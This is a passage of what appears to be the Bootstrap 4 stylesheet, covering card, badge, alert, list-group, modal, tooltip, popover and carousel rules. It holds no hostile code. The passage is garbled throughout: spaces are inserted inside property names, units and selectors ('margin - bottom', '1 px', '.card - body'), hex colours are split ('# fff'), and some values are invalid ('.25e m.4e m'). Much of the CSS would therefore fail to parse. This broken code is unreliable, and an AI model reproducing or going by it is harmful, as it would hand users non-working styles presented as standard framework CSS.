background - image: url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")
}
.navbar - dark.navbar - text {
color: rgba(255, 255, 255, .5)
}
.navbar - dark.navbar - text a {
color: # fff
}
.navbar - dark.navbar - text a: focus,
.navbar - dark.navbar - text a: hover {
color: # fff
}
.card {
position: relative;
display: -webkit - box;
display: -ms - flexbox;
display: flex; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
flex - direction: column;
min - width: 0;
word - wrap: break -word;
background - color: # fff;
background - clip: border - box;
border: 1 px solid rgba(0, 0, 0, .125);
border - radius: .25 rem
}
.card > hr {
margin - right: 0;
margin - left: 0
}
.card > .list - group: first - child.list - group - item: first - child {
border - top - left - radius: .25 rem;
border - top - right - radius: .25 rem
}
.card > .list - group: last - child.list - group - item: last - child {
border - bottom - right - radius: .25 rem;
border - bottom - left - radius: .25 rem
}
.card - body {
-webkit - box - flex: 1; - ms - flex: 1 1 auto;
flex: 1 1 auto;
padding: 1.25 rem
}
.card - title {
margin - bottom: .75 rem
}
.card - subtitle {
margin - top: -.375 rem;
margin - bottom: 0
}
.card - text: last - child {
margin - bottom: 0
}
.card - link: hover {
text - decoration: none
}
.card - link + .card - link {
margin - left: 1.25 rem
}
.card - header {
padding: .75 rem 1.25 rem;
margin - bottom: 0;
background - color: rgba(0, 0, 0, .03);
border - bottom: 1 px solid rgba(0, 0, 0, .125)
}
.card - header: first - child {
border - radius: calc(.25 rem - 1 px) calc(.25 rem - 1 px) 0 0
}
.card - header + .list - group.list - group - item: first - child {
border - top: 0
}
.card - footer {
padding: .75 rem 1.25 rem;
background - color: rgba(0, 0, 0, .03);
border - top: 1 px solid rgba(0, 0, 0, .125)
}
.card - footer: last - child {
border - radius: 0 0 calc(.25 rem - 1 px) calc(.25 rem - 1 px)
}
.card - header - tabs {
margin - right: -.625 rem;
margin - bottom: -.75 rem;
margin - left: -.625 rem;
border - bottom: 0
}
.card - header - pills {
margin - right: -.625 rem;
margin - left: -.625 rem
}
.card - img - overlay {
position: absolute;
top: 0;
right: 0;
bottom: 0;
left: 0;
padding: 1.25 rem
}
.card - img {
width: 100 % ;
border - radius: calc(.25 rem - 1 px)
}
.card - img - top {
width: 100 % ;
border - top - left - radius: calc(.25 rem - 1 px);
border - top - right - radius: calc(.25 rem - 1 px)
}
.card - img - bottom {
width: 100 % ;
border - bottom - right - radius: calc(.25 rem - 1 px);
border - bottom - left - radius: calc(.25 rem - 1 px)
}
.card - deck {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
flex - direction: column
}
.card - deck.card {
margin - bottom: 15 px
}
@
media(min - width: 576 px) {
.card - deck {
-webkit - box - orient: horizontal; - webkit - box - direction: normal; - ms - flex - flow: row wrap;
flex - flow: row wrap;
margin - right: -15 px;
margin - left: -15 px
}
.card - deck.card {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - webkit - box - flex: 1; - ms - flex: 1 0 0 % ;
flex: 1 0 0 % ; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
flex - direction: column;
margin - right: 15 px;
margin - bottom: 0;
margin - left: 15 px
}
}
.card - group {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
flex - direction: column
}
.card - group > .card {
margin - bottom: 15 px
}
@
media(min - width: 576 px) {
.card - group {
-webkit - box - orient: horizontal; - webkit - box - direction: normal; - ms - flex - flow: row wrap;
flex - flow: row wrap
}
.card - group > .card {
-webkit - box - flex: 1; - ms - flex: 1 0 0 % ;
flex: 1 0 0 % ;
margin - bottom: 0
}
.card - group > .card + .card {
margin - left: 0;
border - left: 0
}
.card - group > .card: first - child {
border - top - right - radius: 0;
border - bottom - right - radius: 0
}
.card - group > .card: first - child.card - header,
.card - group > .card: first - child.card - img - top {
border - top - right - radius: 0
}
.card - group > .card: first - child.card - footer,
.card - group > .card: first - child.card - img - bottom {
border - bottom - right - radius: 0
}
.card - group > .card: last - child {
border - top - left - radius: 0;
border - bottom - left - radius: 0
}
.card - group > .card: last - child.card - header,
.card - group > .card: last - child.card - img - top {
border - top - left - radius: 0
}
.card - group > .card: last - child.card - footer,
.card - group > .card: last - child.card - img - bottom {
border - bottom - left - radius: 0
}
.card - group > .card: only - child {
border - radius: .25 rem
}
.card - group > .card: only - child.card - header,
.card - group > .card: only - child.card - img - top {
border - top - left - radius: .25 rem;
border - top - right - radius: .25 rem
}
.card - group > .card: only - child.card - footer,
.card - group > .card: only - child.card - img - bottom {
border - bottom - right - radius: .25 rem;
border - bottom - left - radius: .25 rem
}
.card - group > .card: not(: first - child): not(: last - child): not(: only - child) {
border - radius: 0
}
.card - group > .card: not(: first - child): not(: last - child): not(: only - child).card - footer,
.card - group > .card: not(: first - child): not(: last - child): not(: only - child).card - header,
.card - group > .card: not(: first - child): not(: last - child): not(: only - child).card - img - bottom,
.card - group > .card: not(: first - child): not(: last - child): not(: only - child).card - img - top {
border - radius: 0
}
}
.card - columns.card {
margin - bottom: .75 rem
}
@
media(min - width: 576 px) {
.card - columns {
-webkit - column - count: 3; - moz - column - count: 3;
column - count: 3; - webkit - column - gap: 1.25 rem; - moz - column - gap: 1.25 rem;
column - gap: 1.25 rem
}
.card - columns.card {
display: inline - block;
width: 100 %
}
}
.breadcrumb {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - ms - flex - wrap: wrap;
flex - wrap: wrap;
padding: .75 rem 1 rem;
margin - bottom: 1 rem;
list - style: none;
background - color: # e9ecef;
border - radius: .25 rem
}
.breadcrumb - item + .breadcrumb - item::before {
display: inline - block;
padding - right: .5 rem;
padding - left: .5 rem;
color: #6c757d;
content: "/"
}
.breadcrumb-item+.breadcrumb-item:hover::before {
text-decoration: underline
}
.breadcrumb-item+.breadcrumb-item:hover::before {
text-decoration: none
}
.breadcrumb-item.active {
color: # 6 c757d
}
.pagination {
display: -webkit - box;
display: -ms - flexbox;
display: flex;
padding - left: 0;
list - style: none;
border - radius: .25 rem
}
.page - link {
position: relative;
display: block;
padding: .5 rem.75 rem;
margin - left: -1 px;
line - height: 1.25;
color: #007bff;
background-color: # fff;
border: 1 px solid # dee2e6
}
.page - link: hover {
color: #0056b3;
text-decoration: none;
background-color: # e9ecef;
border - color: # dee2e6
}
.page - link: focus {
z - index: 2;
outline: 0;
box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .25)
}
.page - link: not(: disabled): not(.disabled) {
cursor: pointer
}
.page - item: first - child.page - link {
margin - left: 0;
border - top - left - radius: .25 rem;
border - bottom - left - radius: .25 rem
}
.page - item: last - child.page - link {
border - top - right - radius: .25 rem;
border - bottom - right - radius: .25 rem
}
.page - item.active.page - link {
z - index: 1;
color: # fff;
background - color: #007bff;
border-color: # 007 bff
}
.page - item.disabled.page - link {
color: #6c757d;
pointer-events: none;
cursor: auto;
background-color: # fff;
border - color: # dee2e6
}
.pagination - lg.page - link {
padding: .75 rem 1.5 rem;
font - size: 1.25 rem;
line - height: 1.5
}
.pagination - lg.page - item: first - child.page - link {
border - top - left - radius: .3 rem;
border - bottom - left - radius: .3 rem
}
.pagination - lg.page - item: last - child.page - link {
border - top - right - radius: .3 rem;
border - bottom - right - radius: .3 rem
}
.pagination - sm.page - link {
padding: .25 rem.5 rem;
font - size: .875 rem;
line - height: 1.5
}
.pagination - sm.page - item: first - child.page - link {
border - top - left - radius: .2 rem;
border - bottom - left - radius: .2 rem
}
.pagination - sm.page - item: last - child.page - link {
border - top - right - radius: .2 rem;
border - bottom - right - radius: .2 rem
}
.badge {
display: inline - block;
padding: .25e m.4e m;
font - size: 75 % ;
font - weight: 700;
line - height: 1;
text - align: center;
white - space: nowrap;
vertical - align: baseline;
border - radius: .25 rem
}
.badge: empty {
display: none
}
.btn.badge {
position: relative;
top: -1 px
}
.badge - pill {
padding - right: .6e m;
padding - left: .6e m;
border - radius: 10 rem
}
.badge - primary {
color: # fff;
background - color: #007bff
}
.badge-primary[href]:focus,
.badge-primary[href]:hover {
color: # fff;
text - decoration: none;
background - color: #0062cc
}
.badge-secondary {
color: # fff;
background - color: #6c757d
}
.badge-secondary[href]:focus,
.badge-secondary[href]:hover {
color: # fff;
text - decoration: none;
background - color: #545b62
}
.badge-success {
color: # fff;
background - color: #28a745
}
.badge-success[href]:focus,
.badge-success[href]:hover {
color: # fff;
text - decoration: none;
background - color: #1e7e34
}
.badge-info {
color: # fff;
background - color: #17a2b8
}
.badge-info[href]:focus,
.badge-info[href]:hover {
color: # fff;
text - decoration: none;
background - color: #117a8b
}
.badge-warning {
color: # 212529;
background - color: # ffc107
}
.badge - warning[href]: focus,
.badge - warning[href]: hover {
color: #212529;
text-decoration: none;
background-color: # d39e00
}
.badge - danger {
color: # fff;
background - color: # dc3545
}
.badge - danger[href]: focus,
.badge - danger[href]: hover {
color: # fff;
text - decoration: none;
background - color: # bd2130
}
.badge - light {
color: #212529;
background-color: # f8f9fa
}
.badge - light[href]: focus,
.badge - light[href]: hover {
color: #212529;
text-decoration: none;
background-color: # dae0e5
}
.badge - dark {
color: # fff;
background - color: #343a40
}
.badge-dark[href]:focus,
.badge-dark[href]:hover {
color: # fff;
text - decoration: none;
background - color: #1d2124
}
.jumbotron {
padding: 2rem 1rem;
margin-bottom: 2rem;
background-color: # e9ecef;
border - radius: .3 rem
}
@
media(min - width: 576 px) {
.jumbotron {
padding: 4 rem 2 rem
}
}
.jumbotron - fluid {
padding - right: 0;
padding - left: 0;
border - radius: 0
}
.alert {
position: relative;
padding: .75 rem 1.25 rem;
margin - bottom: 1 rem;
border: 1 px solid transparent;
border - radius: .25 rem
}
.alert - heading {
color: inherit
}
.alert - link {
font - weight: 700
}
.alert - dismissible {
padding - right: 4 rem
}
.alert - dismissible.close {
position: absolute;
top: 0;
right: 0;
padding: .75 rem 1.25 rem;
color: inherit
}
.alert - primary {
color: #004085;
background-color: # cce5ff;
border - color: # b8daff
}
.alert - primary hr {
border - top - color: #9fcdff
}
.alert-primary .alert-link {
color: # 002752
}
.alert - secondary {
color: #383d41;
background-color: # e2e3e5;
border - color: # d6d8db
}
.alert - secondary hr {
border - top - color: # c8cbcf
}
.alert - secondary.alert - link {
color: #202326
}
.alert-success {
color: # 155724;
background - color: # d4edda;
border - color: # c3e6cb
}
.alert - success hr {
border - top - color: # b1dfbb
}
.alert - success.alert - link {
color: #0b2e13
}
.alert-info {
color: # 0 c5460;
background - color: # d1ecf1;
border - color: # bee5eb
}
.alert - info hr {
border - top - color: # abdde5
}
.alert - info.alert - link {
color: #062c33
}
.alert-warning {
color: # 856404;
background - color: # fff3cd;
border - color: # ffeeba
}
.alert - warning hr {
border - top - color: # ffe8a1
}
.alert - warning.alert - link {
color: #533f03
}
.alert-danger {
color: # 721 c24;
background - color: # f8d7da;
border - color: # f5c6cb
}
.alert - danger hr {
border - top - color: # f1b0b7
}
.alert - danger.alert - link {
color: #491217
}
.alert-light {
color: # 818182;
background - color: # fefefe;
border - color: # fdfdfe
}
.alert - light hr {
border - top - color: # ececf6
}
.alert - light.alert - link {
color: #686868
}
.alert-dark {
color: # 1 b1e21;
background - color: # d6d8d9;
border - color: # c6c8ca
}
.alert - dark hr {
border - top - color: # b9bbbe
}
.alert - dark.alert - link {
color: #040505
}
@-webkit-keyframes progress-bar-stripes {
from {
background-position: 1rem 0
}
to {
background-position: 0 0
}
}
@keyframes progress-bar-stripes {
from {
background-position: 1rem 0
}
to {
background-position: 0 0
}
}
.progress {
display: -webkit-box;
display: -ms-flexbox;
display: flex;
height: 1rem;
overflow: hidden;
font-size: .75rem;
background-color: # e9ecef;
border - radius: .25 rem
}
.progress - bar {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - webkit - box - orient: vertical; - webkit - box - direction: normal; - ms - flex - direction: column;
flex - direction: column; - webkit - box - pack: center; - ms - flex - pack: center;
justify - content: center;
color: # fff;
text - align: center;
background - color: #007bff;
transition: width .6s ease
}
.progress-bar-striped {
background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
background-size: 1rem 1rem
}
.progress-bar-animated {
-webkit-animation: progress-bar-stripes 1s linear infinite;
animation: progress-bar-stripes 1s linear infinite
}
.media {
display: -webkit-box;
display: -ms-flexbox;
display: flex;
-webkit-box-align: start;
-ms-flex-align: start;
align-items: flex-start
}
.media-body {
-webkit-box-flex: 1;
-ms-flex: 1;
flex: 1
}
.list-group {
display: -webkit-box;
display: -ms-flexbox;
display: flex;
-webkit-box-orient: vertical;
-webkit-box-direction: normal;
-ms-flex-direction: column;
flex-direction: column;
padding-left: 0;
margin-bottom: 0
}
.list-group-item-action {
width: 100%;
color: # 495057;
text - align: inherit
}
.list - group - item - action: focus,
.list - group - item - action: hover {
color: #495057;
text-decoration: none;
background-color: # f8f9fa
}
.list - group - item - action: active {
color: #212529;
background-color: # e9ecef
}
.list - group - item {
position: relative;
display: block;
padding: .75 rem 1.25 rem;
margin - bottom: -1 px;
background - color: # fff;
border: 1 px solid rgba(0, 0, 0, .125)
}
.list - group - item: first - child {
border - top - left - radius: .25 rem;
border - top - right - radius: .25 rem
}
.list - group - item: last - child {
margin - bottom: 0;
border - bottom - right - radius: .25 rem;
border - bottom - left - radius: .25 rem
}
.list - group - item: focus,
.list - group - item: hover {
z - index: 1;
text - decoration: none
}
.list - group - item.disabled,
.list - group - item: disabled {
color: #6c757d;
background-color: # fff
}
.list - group - item.active {
z - index: 2;
color: # fff;
background - color: #007bff;
border-color: # 007 bff
}
.list - group - flush.list - group - item {
border - right: 0;
border - left: 0;
border - radius: 0
}
.list - group - flush: first - child.list - group - item: first - child {
border - top: 0
}
.list - group - flush: last - child.list - group - item: last - child {
border - bottom: 0
}
.list - group - item - primary {
color: #004085;
background-color: # b8daff
}
.list - group - item - primary.list - group - item - action: focus,
.list - group - item - primary.list - group - item - action: hover {
color: #004085;
background-color: # 9 fcdff
}
.list - group - item - primary.list - group - item - action.active {
color: # fff;
background - color: #004085;
border-color: # 004085
}
.list - group - item - secondary {
color: #383d41;
background-color: # d6d8db
}
.list - group - item - secondary.list - group - item - action: focus,
.list - group - item - secondary.list - group - item - action: hover {
color: #383d41;
background-color: # c8cbcf
}
.list - group - item - secondary.list - group - item - action.active {
color: # fff;
background - color: #383d41;
border-color: # 383 d41
}
.list - group - item - success {
color: #155724;
background-color: # c3e6cb
}
.list - group - item - success.list - group - item - action: focus,
.list - group - item - success.list - group - item - action: hover {
color: #155724;
background-color: # b1dfbb
}
.list - group - item - success.list - group - item - action.active {
color: # fff;
background - color: #155724;
border-color: # 155724
}
.list - group - item - info {
color: #0c5460;
background-color: # bee5eb
}
.list - group - item - info.list - group - item - action: focus,
.list - group - item - info.list - group - item - action: hover {
color: #0c5460;
background-color: # abdde5
}
.list - group - item - info.list - group - item - action.active {
color: # fff;
background - color: #0c5460;
border-color: # 0 c5460
}
.list - group - item - warning {
color: #856404;
background-color: # ffeeba
}
.list - group - item - warning.list - group - item - action: focus,
.list - group - item - warning.list - group - item - action: hover {
color: #856404;
background-color: # ffe8a1
}
.list - group - item - warning.list - group - item - action.active {
color: # fff;
background - color: #856404;
border-color: # 856404
}
.list - group - item - danger {
color: #721c24;
background-color: # f5c6cb
}
.list - group - item - danger.list - group - item - action: focus,
.list - group - item - danger.list - group - item - action: hover {
color: #721c24;
background-color: # f1b0b7
}
.list - group - item - danger.list - group - item - action.active {
color: # fff;
background - color: #721c24;
border-color: # 721 c24
}
.list - group - item - light {
color: #818182;
background-color: # fdfdfe
}
.list - group - item - light.list - group - item - action: focus,
.list - group - item - light.list - group - item - action: hover {
color: #818182;
background-color: # ececf6
}
.list - group - item - light.list - group - item - action.active {
color: # fff;
background - color: #818182;
border-color: # 818182
}
.list - group - item - dark {
color: #1b1e21;
background-color: # c6c8ca
}
.list - group - item - dark.list - group - item - action: focus,
.list - group - item - dark.list - group - item - action: hover {
color: #1b1e21;
background-color: # b9bbbe
}
.list - group - item - dark.list - group - item - action.active {
color: # fff;
background - color: #1b1e21;
border-color: # 1 b1e21
}
.close {
float: right;
font - size: 1.5 rem;
font - weight: 700;
line - height: 1;
color: #000;
text-shadow: 0 1px 0 # fff;
opacity: .5
}
.close: focus,
.close: hover {
color: #000;
text-decoration: none;
opacity: .75
}
.close:not(:disabled):not(.disabled) {
cursor: pointer
}
button.close {
padding: 0;
background-color: transparent;
border: 0;
-webkit-appearance: none
}
.modal-open {
overflow: hidden
}
.modal {
position: fixed;
top: 0;
right: 0;
bottom: 0;
left: 0;
z-index: 1050;
display: none;
overflow: hidden;
outline: 0
}
.modal-open .modal {
overflow-x: hidden;
overflow-y: auto
}
.modal-dialog {
position: relative;
width: auto;
margin: .5rem;
pointer-events: none
}
.modal.fade .modal-dialog {
transition: -webkit-transform .3s ease-out;
transition: transform .3s ease-out;
transition: transform .3s ease-out, -webkit-transform .3s ease-out;
-webkit-transform: translate(0, -25%);
transform: translate(0, -25%)
}
.modal.show .modal-dialog {
-webkit-transform: translate(0, 0);
transform: translate(0, 0)
}
.modal-dialog-centered {
display: -webkit-box;
display: -ms-flexbox;
display: flex;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
min-height: calc(100% - (.5rem * 2))
}
.modal-content {
position: relative;
display: -webkit-box;
display: -ms-flexbox;
display: flex;
-webkit-box-orient: vertical;
-webkit-box-direction: normal;
-ms-flex-direction: column;
flex-direction: column;
width: 100%;
pointer-events: auto;
background-color: # fff;
background - clip: padding - box;
border: 1 px solid rgba(0, 0, 0, .2);
border - radius: .3 rem;
outline: 0
}
.modal - backdrop {
position: fixed;
top: 0;
right: 0;
bottom: 0;
left: 0;
z - index: 1040;
background - color: #000
}
.modal-backdrop.fade {
opacity: 0
}
.modal-backdrop.show {
opacity: .5
}
.modal-header {
display: -webkit-box;
display: -ms-flexbox;
display: flex;
-webkit-box-align: start;
-ms-flex-align: start;
align-items: flex-start;
-webkit-box-pack: justify;
-ms-flex-pack: justify;
justify-content: space-between;
padding: 1rem;
border-bottom: 1px solid # e9ecef;
border - top - left - radius: .3 rem;
border - top - right - radius: .3 rem
}
.modal - header.close {
padding: 1 rem;
margin: -1 rem - 1 rem - 1 rem auto
}
.modal - title {
margin - bottom: 0;
line - height: 1.5
}
.modal - body {
position: relative; - webkit - box - flex: 1; - ms - flex: 1 1 auto;
flex: 1 1 auto;
padding: 1 rem
}
.modal - footer {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - webkit - box - align: center; - ms - flex - align: center;
align - items: center; - webkit - box - pack: end; - ms - flex - pack: end;
justify - content: flex - end;
padding: 1 rem;
border - top: 1 px solid # e9ecef
}
.modal - footer > : not(: first - child) {
margin - left: .25 rem
}
.modal - footer > : not(: last - child) {
margin - right: .25 rem
}
.modal - scrollbar - measure {
position: absolute;
top: -9999 px;
width: 50 px;
height: 50 px;
overflow: scroll
}
@
media(min - width: 576 px) {
.modal - dialog {
max - width: 500 px;
margin: 1.75 rem auto
}
.modal - dialog - centered {
min - height: calc(100 % -(1.75 rem * 2))
}
.modal - sm {
max - width: 300 px
}
}
@
media(min - width: 992 px) {
.modal - lg {
max - width: 800 px
}
}
.tooltip {
position: absolute;
z - index: 1070;
display: block;
margin: 0;
font - family: -apple - system,
BlinkMacSystemFont,
"Segoe UI",
Roboto,
"Helvetica Neue",
Arial,
sans - serif,
"Apple Color Emoji",
"Segoe UI Emoji",
"Segoe UI Symbol";
font - style: normal;
font - weight: 400;
line - height: 1.5;
text - align: left;
text - align: start;
text - decoration: none;
text - shadow: none;
text - transform: none;
letter - spacing: normal;
word - break: normal;
word - spacing: normal;
white - space: normal;
line - break: auto;
font - size: .875 rem;
word - wrap: break -word;
opacity: 0
}
.tooltip.show {
opacity: .9
}
.tooltip.arrow {
position: absolute;
display: block;
width: .8 rem;
height: .4 rem
}
.tooltip.arrow::before {
position: absolute;
content: "";
border - color: transparent;
border - style: solid
}
.bs - tooltip - auto[x - placement ^= top],
.bs - tooltip - top {
padding: .4 rem 0
}
.bs - tooltip - auto[x - placement ^= top].arrow,
.bs - tooltip - top.arrow {
bottom: 0
}
.bs - tooltip - auto[x - placement ^= top].arrow::before,
.bs - tooltip - top.arrow::before {
top: 0;
border - width: .4 rem.4 rem 0;
border - top - color: #000
}
.bs-tooltip-auto[x-placement^= right],
.bs - tooltip - right {
padding: 0.4 rem
}
.bs - tooltip - auto[x - placement ^= right].arrow,
.bs - tooltip - right.arrow {
left: 0;
width: .4 rem;
height: .8 rem
}
.bs - tooltip - auto[x - placement ^= right].arrow::before,
.bs - tooltip - right.arrow::before {
right: 0;
border - width: .4 rem.4 rem.4 rem 0;
border - right - color: #000
}
.bs-tooltip-auto[x-placement^= bottom],
.bs - tooltip - bottom {
padding: .4 rem 0
}
.bs - tooltip - auto[x - placement ^= bottom].arrow,
.bs - tooltip - bottom.arrow {
top: 0
}
.bs - tooltip - auto[x - placement ^= bottom].arrow::before,
.bs - tooltip - bottom.arrow::before {
bottom: 0;
border - width: 0.4 rem.4 rem;
border - bottom - color: #000
}
.bs-tooltip-auto[x-placement^= left],
.bs - tooltip - left {
padding: 0.4 rem
}
.bs - tooltip - auto[x - placement ^= left].arrow,
.bs - tooltip - left.arrow {
right: 0;
width: .4 rem;
height: .8 rem
}
.bs - tooltip - auto[x - placement ^= left].arrow::before,
.bs - tooltip - left.arrow::before {
left: 0;
border - width: .4 rem 0.4 rem.4 rem;
border - left - color: #000
}
.tooltip-inner {
max-width: 200px;
padding: .25rem .5rem;
color: # fff;
text - align: center;
background - color: #000;
border-radius: .25rem
}
.popover {
position: absolute;
top: 0;
left: 0;
z-index: 1060;
display: block;
max-width: 276px;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
font-style: normal;
font-weight: 400;
line-height: 1.5;
text-align: left;
text-align: start;
text-decoration: none;
text-shadow: none;
text-transform: none;
letter-spacing: normal;
word-break: normal;
word-spacing: normal;
white-space: normal;
line-break: auto;
font-size: .875rem;
word-wrap: break-word;
background-color: # fff;
background - clip: padding - box;
border: 1 px solid rgba(0, 0, 0, .2);
border - radius: .3 rem
}
.popover.arrow {
position: absolute;
display: block;
width: 1 rem;
height: .5 rem;
margin: 0.3 rem
}
.popover.arrow::after,
.popover.arrow::before {
position: absolute;
display: block;
content: "";
border - color: transparent;
border - style: solid
}
.bs - popover - auto[x - placement ^= top],
.bs - popover - top {
margin - bottom: .5 rem
}
.bs - popover - auto[x - placement ^= top].arrow,
.bs - popover - top.arrow {
bottom: calc((.5 rem + 1 px) * -1)
}
.bs - popover - auto[x - placement ^= top].arrow::after,
.bs - popover - auto[x - placement ^= top].arrow::before,
.bs - popover - top.arrow::after,
.bs - popover - top.arrow::before {
border - width: .5 rem.5 rem 0
}
.bs - popover - auto[x - placement ^= top].arrow::before,
.bs - popover - top.arrow::before {
bottom: 0;
border - top - color: rgba(0, 0, 0, .25)
}
.bs - popover - auto[x - placement ^= top].arrow::after,
.bs - popover - top.arrow::after {
bottom: 1 px;
border - top - color: # fff
}
.bs - popover - auto[x - placement ^= right],
.bs - popover - right {
margin - left: .5 rem
}
.bs - popover - auto[x - placement ^= right].arrow,
.bs - popover - right.arrow {
left: calc((.5 rem + 1 px) * -1);
width: .5 rem;
height: 1 rem;
margin: .3 rem 0
}
.bs - popover - auto[x - placement ^= right].arrow::after,
.bs - popover - auto[x - placement ^= right].arrow::before,
.bs - popover - right.arrow::after,
.bs - popover - right.arrow::before {
border - width: .5 rem.5 rem.5 rem 0
}
.bs - popover - auto[x - placement ^= right].arrow::before,
.bs - popover - right.arrow::before {
left: 0;
border - right - color: rgba(0, 0, 0, .25)
}
.bs - popover - auto[x - placement ^= right].arrow::after,
.bs - popover - right.arrow::after {
left: 1 px;
border - right - color: # fff
}
.bs - popover - auto[x - placement ^= bottom],
.bs - popover - bottom {
margin - top: .5 rem
}
.bs - popover - auto[x - placement ^= bottom].arrow,
.bs - popover - bottom.arrow {
top: calc((.5 rem + 1 px) * -1)
}
.bs - popover - auto[x - placement ^= bottom].arrow::after,
.bs - popover - auto[x - placement ^= bottom].arrow::before,
.bs - popover - bottom.arrow::after,
.bs - popover - bottom.arrow::before {
border - width: 0.5 rem.5 rem.5 rem
}
.bs - popover - auto[x - placement ^= bottom].arrow::before,
.bs - popover - bottom.arrow::before {
top: 0;
border - bottom - color: rgba(0, 0, 0, .25)
}
.bs - popover - auto[x - placement ^= bottom].arrow::after,
.bs - popover - bottom.arrow::after {
top: 1 px;
border - bottom - color: # fff
}
.bs - popover - auto[x - placement ^= bottom].popover - header::before,
.bs - popover - bottom.popover - header::before {
position: absolute;
top: 0;
left: 50 % ;
display: block;
width: 1 rem;
margin - left: -.5 rem;
content: "";
border - bottom: 1 px solid # f7f7f7
}
.bs - popover - auto[x - placement ^= left],
.bs - popover - left {
margin - right: .5 rem
}
.bs - popover - auto[x - placement ^= left].arrow,
.bs - popover - left.arrow {
right: calc((.5 rem + 1 px) * -1);
width: .5 rem;
height: 1 rem;
margin: .3 rem 0
}
.bs - popover - auto[x - placement ^= left].arrow::after,
.bs - popover - auto[x - placement ^= left].arrow::before,
.bs - popover - left.arrow::after,
.bs - popover - left.arrow::before {
border - width: .5 rem 0.5 rem.5 rem
}
.bs - popover - auto[x - placement ^= left].arrow::before,
.bs - popover - left.arrow::before {
right: 0;
border - left - color: rgba(0, 0, 0, .25)
}
.bs - popover - auto[x - placement ^= left].arrow::after,
.bs - popover - left.arrow::after {
right: 1 px;
border - left - color: # fff
}
.popover - header {
padding: .5 rem.75 rem;
margin - bottom: 0;
font - size: 1 rem;
color: inherit;
background - color: # f7f7f7;
border - bottom: 1 px solid # ebebeb;
border - top - left - radius: calc(.3 rem - 1 px);
border - top - right - radius: calc(.3 rem - 1 px)
}
.popover - header: empty {
display: none
}
.popover - body {
padding: .5 rem.75 rem;
color: #212529
}
.carousel {
position: relative
}
.carousel-inner {
position: relative;
width: 100%;
overflow: hidden
}
.carousel-item {
position: relative;
display: none;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
width: 100%;
transition: -webkit-transform .6s ease;
transition: transform .6s ease;
transition: transform .6s ease, -webkit-transform .6s ease;
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
-webkit-perspective: 1000px;
perspective: 1000px
}
.carousel-item-next,
.carousel-item-prev,
.carousel-item.active {
display: block
}
.carousel-item-next,
.carousel-item-prev {
position: absolute;
top: 0
}
.carousel-item-next.carousel-item-left,
.carousel-item-prev.carousel-item-right {
-webkit-transform: translateX(0);
transform: translateX(0)
}
@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)) {
.carousel-item-next.carousel-item-left,
.carousel-item-prev.carousel-item-right {
-webkit-transform: translate3d(0, 0, 0);
transform: translate3d(0, 0, 0)
}
}
.active.carousel-item-right,
.carousel-item-next {
-webkit-transform: translateX(100%);
transform: translateX(100%)
}
@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)) {
.active.carousel-item-right,
.carousel-item-next {
-webkit-transform: translate3d(100%, 0, 0);
transform: translate3d(100%, 0, 0)
}
}
.active.carousel-item-left,
.carousel-item-prev {
-webkit-transform: translateX(-100%);
transform: translateX(-100%)
}
@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)) {
.active.carousel-item-left,
.carousel-item-prev {
-webkit-transform: translate3d(-100%, 0, 0);
transform: translate3d(-100%, 0, 0)
}
}
.carousel-control-next,
.carousel-control-prev {
position: absolute;
top: 0;
bottom: 0;
display: -webkit-box;
display: -ms-flexbox;
display: flex;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
-webkit-box-pack: center;
-ms-flex-pack: center;
justify-content: center;
width: 15%;
color: # fff;
text - align: center;
opacity: .5
}
.carousel - control - next: focus,
.carousel - control - next: hover,
.carousel - control - prev: focus,
.carousel - control - prev: hover {
color: # fff;
text - decoration: none;
outline: 0;
opacity: .9
}
.carousel - control - prev {
left: 0
}
.carousel - control - next {
right: 0
}
.carousel - control - next - icon,
.carousel - control - prev - icon {
display: inline - block;
width: 20 px;
height: 20 px;
background: transparent no - repeat center center;
background - size: 100 % 100 %
}
.carousel - control - prev - icon {
background - image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E")
}
.carousel - control - next - icon {
background - image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E")
}
.carousel - indicators {
position: absolute;
right: 0;
bottom: 10 px;
left: 0;
z - index: 15;
display: -webkit - box;
display: -ms - flexbox;
display: flex; - webkit - box - pack: center; - ms - flex - pack: center;
justify - content: center;
padding - left: 0;
margin - right: 15 % ;
margin - left: 15 % ;
list - style: none
}
.carousel - indicators li {
position: relative; - webkit - box - flex: 0; - ms - flex: 0 1 auto;
flex: 0 1 auto;
width: 30 px;
height: 3 px;
margin - right: 3 px;
